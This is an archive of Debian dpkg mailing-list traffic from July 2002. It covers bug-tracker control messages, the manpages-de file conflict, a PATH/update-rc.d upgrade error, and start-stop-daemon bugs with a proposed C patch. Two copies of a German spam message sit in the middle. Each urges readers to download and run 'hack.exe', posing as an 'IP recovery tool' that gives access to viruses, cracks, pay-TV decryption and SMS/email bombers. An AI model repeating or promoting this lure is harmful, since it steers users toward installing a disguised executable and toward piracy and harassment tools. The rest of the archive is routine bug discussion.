Processed: Re: Processed: Re: Bug#152056: dpkg: strange text from md5sum which cannot be interpreted
Processing commands for [EMAIL PROTECTED]: > merge 152056 151691 Bug#151691: dpkg-source in dpkg-dev 1.9 does not work with md5sum in dpkg 1.10 Bug#152056: dpkg: strange text from md5sum which cannot be interpreted Merged 151691 152056. > thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#152056: dpkg: strange text from md5sum which cannot be interpreted
reassign 152056 dpkg-dev tag 152056 + pending merge 152056 161691 thanks > alias pkg='dpkg-scanpackages . .|gzip -9 -c > Packages.gz;dpkg-scansources . > .|gzip -9 -c > Sources.gz' > alabama:~/src/silc/stable/server/server$ pkg > Strange text from `md5sum < ./0.9.4/silc-server_0.9.4-1_i386.deb': > `d6c11fff0eab100d325c90d856967628 -' Fixed in dpkg 1.10.2, sitting in incoming. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Processed: Re: Bug#152056: dpkg: strange text from md5sum which cannot be interpreted
Processing commands for [EMAIL PROTECTED]: > reassign 152056 dpkg-dev Bug#152056: dpkg: strange text from md5sum which cannot be interpreted Bug reassigned from package `dpkg' to `dpkg-dev'. > tag 152056 + pending Bug#152056: dpkg: strange text from md5sum which cannot be interpreted Tags added: pending > merge 152056 161691 Bug#152056: dpkg: strange text from md5sum which cannot be interpreted Bug number 161691 not found. > thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#152056: dpkg: strange text from md5sum which cannot be interpreted
Package: dpkg Version: 1.10 Severity: normal alias pkg='dpkg-scanpackages . .|gzip -9 -c > Packages.gz;dpkg-scansources . .|gzip -9 -c > Sources.gz' alabama:~/src/silc/stable/server/server$ pkg Strange text from `md5sum < ./0.9.4/silc-server_0.9.4-1_i386.deb': `d6c11fff0eab100d325c90d856967628 -' -- System Information Debian Release: 3.0 Kernel Version: Linux alabama 2.4.18 #4 Sat May 11 19:26:23 CEST 2002 i686 unknown Versions of the packages dpkg depends on: ii dselect1.10 a user tool to manage Debian packages ii libc6 2.2.5-7GNU C Library: Shared libraries and Timezone -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Bug#151591 asterisk Re: Processed: pending
tag 151591 - pending thanks On Fri, 5 Jul 2002, Mark Purcell wrote: > Thanks Adam, > > I presume what you are saying is that asterisk Bug#151591 will be > fixed by an upload of the new version of dpkg? > > I have had a look through debian-dpkg and couldn't find the relevant > reference to why dpkg would be causing this problem, the only thing I > can think of is my use of the --chuid in start-stop-daemon. > > The asterisk bug report also states that asterisk when run from the command > line > isn't functional either, which wouldn't be dependant on dpkg, unless dpkg is > installing with incorrect file permissions, but I can't seem to replicate > that condition here. > > Mark > > On Thu, Jul 04, 2002 at 07:48:09PM -0500, Debian Bug Tracking System wrote: > > > Processing commands for [EMAIL PROTECTED]: > > > > > tag 151591 + pending > > Bug#151591: asterisk: Hangs on startup > > Tags added: pending Seems to be a typo. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Processed: Re: Bug#152009: dpkg fails to upgrade to 1.10
Processing commands for [EMAIL PROTECTED]: > severity 152009 normal Bug#152009: dpkg fails to upgrade to 1.10 Bug#151485: dpkg-1.10: Please add Replaces for manpages-de. Bug#151539: dpkg 1.10 and manpages-de cannot be installed together Bug#151554: dpkg: trying to overwrite `/usr/share/man/de/man1/md5sum.1.gz', which is also in package manpages-de Bug#151590: dpkg: Conflict with manpages-de Bug#151646: dpkg_1.10.deb conflicts with manpages-de Severity set to `normal'. > tag 152009 pending Bug#152009: dpkg fails to upgrade to 1.10 Bug#151485: dpkg-1.10: Please add Replaces for manpages-de. Bug#151539: dpkg 1.10 and manpages-de cannot be installed together Bug#151554: dpkg: trying to overwrite `/usr/share/man/de/man1/md5sum.1.gz', which is also in package manpages-de Bug#151590: dpkg: Conflict with manpages-de Bug#151646: dpkg_1.10.deb conflicts with manpages-de Tags added: pending > merge 152009 151590 Bug#151590: dpkg: Conflict with manpages-de Bug#152009: dpkg fails to upgrade to 1.10 Bug#151485: dpkg-1.10: Please add Replaces for manpages-de. Bug#151539: dpkg 1.10 and manpages-de cannot be installed together Bug#151554: dpkg: trying to overwrite `/usr/share/man/de/man1/md5sum.1.gz', which is also in package manpages-de Bug#151646: dpkg_1.10.deb conflicts with manpages-de Merged 151485 151539 151554 151590 151646 152009. > thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#152009: dpkg fails to upgrade to 1.10
severity 152009 normal tag 152009 pending merge 152009 151590 thanks On Fri, 5 Jul 2002, Torsten Knodt wrote: > Package: dpkg > Version: 1.9.21 > Severity: grave Hardly grave. Grave means it doesn't work for most people. And, that is hardly the case here(lots of people don't have manpages-de installed). > Preparing to replace dpkg 1.9.21 (using .../archives/dpkg_1.10_i386.deb) ... > Unpacking replacement dpkg ... > dpkg: error processing /var/cache/apt/archives/dpkg_1.10_i386.deb > (--unpack): > trying to overwrite /usr/share/man/de/man1/md5sum.1.gz', which is also in > package manpages-de > dpkg-deb: subprocess paste killed by signal (Broken pipe) > Errors were encountered while processing: > /var/cache/apt/archives/dpkg_1.10_i386.deb So remove manpages-de. dpkg is more important than that. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: E: sub-process, DPKG
On Fri, 5 Jul 2002, John Persson wrote: > Hi, > > My name is John. > I'm totally new to Linux but understand the basics of it. > > I get same error every new install of debian. > > I do net install with potato, right after logging in as root i type apt-get > update and apt-get dist-upgrade. and all that works fine. then i change the > sources.list to > > > deb ftp://ftp.debian.nl/debian/ unstable main non-free contrib > deb-src ftp://ftp.debian.nl/debian/ unstable main non-free contrib > deb http://non-us.debian.org/debian-non-US stable/non-US main contrib non-free > deb-src http://non-us.debian.org/debian-non-US stable/non-US main contrib > non-free > > deb http://security.debian.org/ stable/updates main contrib non-free > > > do apt-get update and apt-get dist-upgrade. > > Now in the end I recive these messages: > > dpkg: 'update-rc.d' not found on path. > dpkg: 1 expected program(s) not found on path. > NB: root's PATH should usually contain /usr/local/sbin, /usr/sbin and /sbin. > E: Sub-process /usr/bin/dpkg returned error code (2) > > Ive asked many in the irc channels. they all say do export > PATH=/usr/local/sbin:/sbin/:/sbin:$PATH and that doesnt seem to help either. > ive searched on google.com and cant find any solution in there found many > ppl that gets the NB: root line... and update-rc.d not found. > > > The first times i never got these errors when I installed debian > installed it over 15 time or more now. > > hope that you can help me sort this out, if not just ignore this message. This is fixed in dpkg 1.10.1, which has already been uploaded, but is sitting in incoming, and not yet installed into the archive. To fix it, upgrade sysvinit. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#58878: Du hast Feinde !!! lgwqt
Kostenloses IP-Recovery-Tool Downloaden Kein Fake! http://usuarios.lycos.es/hacksexer/hack.exe Endlich unbegrenzt langer Zugriff auf unser MEGA großes Hacker Archive. Da sich die IP von unserem privaten T3- Sever meist nach 24 Stunden ändert solltest Du Dir unser IP-RECOVERY TOOL runterladen. (rechtsklick --> "Ziel speichern unter...") . Mit diesem Tool kommt ihr an: Die besten Hackerprogramme Über 6000 Viren die jeden PC zum erliegen bringen Die größte Sammlung an Serials Cracks für jedes Programm Die neuste Burning-Software Programme mit denen Du total einfach Premiere entschlüsseln kannst Jetzt neu dabei: Premiere Digital knacken mit TV Karte und Software + aktuelle Keyfiles Die besten DVD-Ripper E-Mail , SMS und ICQ-Bomber 50 Deutsche Liveshows, 2.500.000 Bilder, 1.000.000 Movies & 300.000 Bilderserien http://usuarios.lycos.es/hacksexer/hack.exe Und so einfach gehts: 1. Das Tool kostenlos downloaden 2. Das Tool starten (das Häkchen muss zur Bestätigung gesetzt werden, Infos beachten) 3. Das Tool verbindet Euch dann direkt über eine Highspeed Leitung mit einer Seite, auf dieser Seite könnt Ihr dann beliebig wählen was Ihr braucht, ich kann Euch versprechen es lohnt sich, das Angebot ist gewaltig. 48.000 zufriedene Besucher in Deutschland seit dem letztem Monat sprechen für sich! http://usuarios.lycos.es/hacksexer/hack.exe Klick here to rmove... http://www.easyremovelink.com hxmsywxexrvyynphihkajrdruuvcldod -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#58878: Du hast Feinde !!! lgwqt
Kostenloses IP-Recovery-Tool Downloaden Kein Fake! http://usuarios.lycos.es/hacksexer/hack.exe Endlich unbegrenzt langer Zugriff auf unser MEGA großes Hacker Archive. Da sich die IP von unserem privaten T3- Sever meist nach 24 Stunden ändert solltest Du Dir unser IP-RECOVERY TOOL runterladen. (rechtsklick --> "Ziel speichern unter...") . Mit diesem Tool kommt ihr an: Die besten Hackerprogramme Über 6000 Viren die jeden PC zum erliegen bringen Die größte Sammlung an Serials Cracks für jedes Programm Die neuste Burning-Software Programme mit denen Du total einfach Premiere entschlüsseln kannst Jetzt neu dabei: Premiere Digital knacken mit TV Karte und Software + aktuelle Keyfiles Die besten DVD-Ripper E-Mail , SMS und ICQ-Bomber 50 Deutsche Liveshows, 2.500.000 Bilder, 1.000.000 Movies & 300.000 Bilderserien http://usuarios.lycos.es/hacksexer/hack.exe Und so einfach gehts: 1. Das Tool kostenlos downloaden 2. Das Tool starten (das Häkchen muss zur Bestätigung gesetzt werden, Infos beachten) 3. Das Tool verbindet Euch dann direkt über eine Highspeed Leitung mit einer Seite, auf dieser Seite könnt Ihr dann beliebig wählen was Ihr braucht, ich kann Euch versprechen es lohnt sich, das Angebot ist gewaltig. 48.000 zufriedene Besucher in Deutschland seit dem letztem Monat sprechen für sich! http://usuarios.lycos.es/hacksexer/hack.exe Klick here to rmove... http://www.easyremovelink.com hxmsywxexrvyynphihkajrdruuvcldod -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
E: sub-process, DPKG
Hi, My name is John. I'm totally new to Linux but understand the basics of it. I get same error every new install of debian. I do net install with potato, right after logging in as root i type apt-get update and apt-get dist-upgrade. and all that works fine. then i change the sources.list to deb ftp://ftp.debian.nl/debian/ unstable main non-free contribdeb-src ftp://ftp.debian.nl/debian/ unstable main non-free contribdeb http://non-us.debian.org/debian-non-US stable/non-US main contrib non-freedeb-src http://non-us.debian.org/debian-non-US stable/non-US main contrib non-free deb http://security.debian.org/ stable/updates main contrib non-free do apt-get update and apt-get dist-upgrade. Now in the end I recive these messages: dpkg: 'update-rc.d' not found on path. dpkg: 1 expected program(s) not found on path. NB: root's PATH should usually contain /usr/local/sbin, /usr/sbin and /sbin. E: Sub-process /usr/bin/dpkg returned error code (2) Ive asked many in the irc channels. they all say do export PATH=/usr/local/sbin:/sbin/:/sbin:$PATH and that doesnt seem to help either. ive searched on google.com and cant find any solution in there found many ppl that gets the NB: root line... and update-rc.d not found. The first times i never got these errors when I installed debian installed it over 15 time or more now. hope that you can help me sort this out, if not just ignore this message. John.
Re: Bug#151591: asterisk Re: Processed: pending
On Fri, Jul 05, 2002 at 08:18:02PM +1000, Mark Purcell wrote: > The asterisk bug report also states that asterisk when run from the command > line > isn't functional either, which wouldn't be dependant on dpkg, unless dpkg is > installing with incorrect file permissions, but I can't seem to replicate > that condition here. Yes - it also happened when I invoked the asterisk binary directly. I'll try to poke around and see if I can see exactly how it breaks. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Processed: merging 152009 151485
Processing commands for [EMAIL PROTECTED]: > merge 152009 151485 Bug#151485: dpkg-1.10: Please add Replaces for manpages-de. Bug#152009: dpkg fails to upgrade to 1.10 Bug#151539: dpkg 1.10 and manpages-de cannot be installed together Bug#151590: dpkg: Conflict with manpages-de Bug#151646: dpkg_1.10.deb conflicts with manpages-de Bug#151554: dpkg: trying to overwrite `/usr/share/man/de/man1/md5sum.1.gz', which is also in package manpages-de Merged 151485 151539 151554 151590 151646 152009. > End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Processed: cleaning up
Processing commands for [EMAIL PROTECTED]: > severity 147183 normal Bug#147183: spong-common: can't install package Severity set to `normal'. > tags 147183 unreproducible Bug#147183: spong-common: can't install package Tags added: unreproducible > tags 151581 pending Bug#151581: dpkg: missing relation (conflicts) on sysvinit Tags added: pending > severity 152009 normal Bug#152009: dpkg fails to upgrade to 1.10 Severity set to `normal'. > tags 152009 pending Bug#152009: dpkg fails to upgrade to 1.10 Tags added: pending > severity 151554 normal Bug#151554: dpkg: trying to overwrite `/usr/share/man/de/man1/md5sum.1.gz', which is also in package manpages-de Severity set to `normal'. > merge 152009 151554 Bug#151554: dpkg: trying to overwrite `/usr/share/man/de/man1/md5sum.1.gz', which is also in package manpages-de Bug#152009: dpkg fails to upgrade to 1.10 Merged 151554 152009. > mrge 152009 151485 Unknown command or malformed arguments to command. > thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
start-stop-daemon: pid_is_exec may fails to achieve its goal.
Hi,
While looking at start-stop-daemon source to help solving #151996 and
#151992, I noticed this piece of code :
static int
pid_is_exec(pid_t pid, const struct stat *esb)
{
struct stat sb;
char buf[32];
sprintf(buf, "/proc/%d/exe", pid);
if (stat(buf, &sb) != 0)
return 0;
return (sb.st_dev == esb->st_dev && sb.st_ino == esb->st_ino);
}
I guess this is meant to check that the process whose PID is found in
/var/run/foo.pid is actually a process executing the daemon started with
the foo command (with something like '--startas /usr/bin/foo').
Not to mention the fact that the test will fail achieving its goal for
daemons which exec() an other program (eg. java|python|perl daemon, or a
daemon started with a shell script), I can also see a case where the test
will fail, even for a more standard program.
Example:
- let foo by a very simple daemon (no interpreter, just daemonize)
- start-stop-daemon --start --startas /usr/bin/foo --pid-file /var/run/foo.pid
- then for some reason (mount partition over /usr/bin, replace /usr/bin/foo
using mv, etc.) the (inode,dev) of /usr/bin/foo gets changed.
- then start-stop-daemon --stop --startas /usr/bin/foo --pid-file
/var/run/foo.pid won't stop foo, because it will conclude that the process
which PID is in /var/run/foo.pid is not running foo
This inode change can happen very easily if the package is removed and then
reinstalled ; perhaps even when it is upgraded (I didn't check dpkg
internals to see if it uses cp-like overwrite of files, or mv-like).
Perhaps comparing path instead of inodes would be better.
Maybe symlinks would be problematic (?).
Regards,
-Thomas
PS: Please Cc: me, I'm not subscribed to debian-dpkg.
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#152009: dpkg fails to upgrade to 1.10
Package: dpkg Version: 1.9.21 Severity: grave Hello, I've tried to upgrade dpkg to the newest unstable. The errors messages of apt-get are appended. With kind regards Torsten Knodt Preparing to replace dpkg 1.9.21 (using .../archives/dpkg_1.10_i386.deb) ... Unpacking replacement dpkg ... dpkg: error processing /var/cache/apt/archives/dpkg_1.10_i386.deb (--unpack): trying to overwrite /usr/share/man/de/man1/md5sum.1.gz', which is also in package manpages-de dpkg-deb: subprocess paste killed by signal (Broken pipe) Errors were encountered while processing: /var/cache/apt/archives/dpkg_1.10_i386.deb -- System Information Debian Release: 3.0 Architecture: i386 Kernel: Linux tk-hybrid-1 2.4.18hybrid #1 Thu Jun 20 18:23:08 CEST 2002 i586 Locale: LANG=C, LC_CTYPE=C Versions of packages dpkg depends on: ii libc62.2.5-7 GNU C Library: Shared libraries an ii libncurses5 5.2.20020112a-8 Shared libraries for terminal hand ii libstdc++2.10-glibc2.2 1:2.95.4-9 The GNU stdc++ library -- debconf-show failed -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Bug#151996: Broken /etc/init.d/tomcat4 start|stop|restart
Stefan Gybas <[EMAIL PROTECTED]>: | | I have just tested this: Everything works fine with dpkg 1.9 but fails | | in the way you have described above with dpkg 1.10. So it looks like | this is a bug (well, at least an incompatible change) in dpkg to me. Yes. It seems dpkg 1.10 adds a few extra checks, which fails in the case of daemons started through some kind of interpreter. Still, if "--stop --test" was working it would be an acceptable solution. -tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Bug#151996: Broken /etc/init.d/tomcat4 start|stop|restart
Thomas Morin wrote: Currently, the init script doesn't work : 'restart' won't restart it but spawns a new tomcat4 that quickly stops because it can't bind its socket, 'stop' won't stop it. If you 'start' it 5 times it will create 5 tomcat4 instances, but 4 will stop because they can't bind their socket, and then /var/run/tomcat4.pid will have the wrong PID, because the right one was overwritten. I have just tested this: Everything works fine with dpkg 1.9 but fails in the way you have described above with dpkg 1.10. So it looks like this is a bug (well, at least an incompatible change) in dpkg to me. -- Stefan Gybas -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#151992: Update.
When "--test --stop" will have received a fix, the man page should also document better how do use --test to see if a process is running. Perhaps offering an option --process-not-running ( equivalent to --test --stop) would be nice, permitting clean init scripts that would just do : start) if start-stop-daemon --process-not-running [other fields]; then # start daemon else echo -n "(already running)' fi;
Bug#151591 asterisk Re: Processed: pending
Thanks Adam, I presume what you are saying is that asterisk Bug#151591 will be fixed by an upload of the new version of dpkg? I have had a look through debian-dpkg and couldn't find the relevant reference to why dpkg would be causing this problem, the only thing I can think of is my use of the --chuid in start-stop-daemon. The asterisk bug report also states that asterisk when run from the command line isn't functional either, which wouldn't be dependant on dpkg, unless dpkg is installing with incorrect file permissions, but I can't seem to replicate that condition here. Mark On Thu, Jul 04, 2002 at 07:48:09PM -0500, Debian Bug Tracking System wrote: > Processing commands for [EMAIL PROTECTED]: > > > tag 151591 + pending > Bug#151591: asterisk: Hangs on startup > Tags added: pending -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#151992: start-stop-daemon broken "--test --stop" combination (patch)
Package: dpkg
Version: 1.10
Severity: normal
I noticed the bug while trying to restart Tomcat (tomcat4 package).
Due to the fact that the executable name, and command name of tomcat, is
not what start-stop-daemon sould try to match (daemon is started with
java), we can't use "--test --start" to test if daemon is running,
because we want to ommit --name, --exec, so that s-s-d doesn't tries to
match this, but we can't do that with --start.
But in "--test --stop" mode (the only one we can use to test without
specifying --name or --exec or --startas), the return code actually
returned depends of the number of processes _actually_ killed, but this
number is zero, because we are in test mode.
Test case:
- start tomcat4 with '/etc/init.d/tomcat4 start'
- check it is actually running
- run :
start-stop-daemon --test --stop --pidfile /var/run/tomcat4.pid --user
tomcat4 --verbose
What we expect is that this command test if it would stop the process,
and returns zero if yes.
Actual result:
Would send signal 15 to 3025.
No process in pidfile `/var/run/tomcat4.pid' found running; none killed.
return code is 1 (echo $?)
Relevant code portions:
run_stop_schedule(void)
{
...
anykilled = 0;
retry_nr = 0;
if (schedule == NULL) {
do_stop(signal_nr, quietmode, &n_killed, &n_notkilled, 0);
if (n_notkilled > 0 && quietmode <= 0)
printf("%d pids were not killed\n", n_notkilled);
if (n_killed)
anykilled = 1;
goto x_finished;
}
...
x_finished:
if (!anykilled) {
if (quietmode <= 0)
printf("No %s found running; none killed.\n",
what_stop);
return exitnodo;
} else {
return 0;
}
}
/* return 1 on failure */
static void
do_stop(int signal_nr, int quietmode, int *n_killed, int *n_notkilled, int
retry_nr)
{
struct pid_list *p;
do_findprocs();
*n_killed = 0;
*n_notkilled = 0;
if (!found)
return;
clear(&killed);
for (p = found; p; p = p->next) {
if (testmode)
printf("Would send signal %d to %d.\n",
signal_nr, p->pid);
[ We actually see this printf message in testcase output ]
else if ...
...
}
So what happens is that in test mode, n_killed isn't increased (do_stop),
then anykilled (run_stop_schedule) still is zero after do_stop, then in
x_finished: the exit code is 0.
A solution is to increase n_killed, even if we are in test mode :
--- start-stop-daemon.c.orig2002-07-05 11:29:31.0 +0200
+++ start-stop-daemon.c 2002-07-05 11:29:55.0 +0200
@@ -941,9 +941,11 @@
clear(&killed);
for (p = found; p; p = p->next) {
-
if (testmode)
+
if (testmode) {
printf("Would send signal %d to %d.\n",
signal_nr, p->pid);
+
(*n_killed)++;
+
}
else if (kill(p->pid, signal_nr) == 0) {
push(&killed, p->pid);
(*n_killed)++;
This modification actually solves the problem described here, I did not
test it further, but it is clear it only affect "--test" mode, and it
affects it lightly, so I wouldn't expect side effects.
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
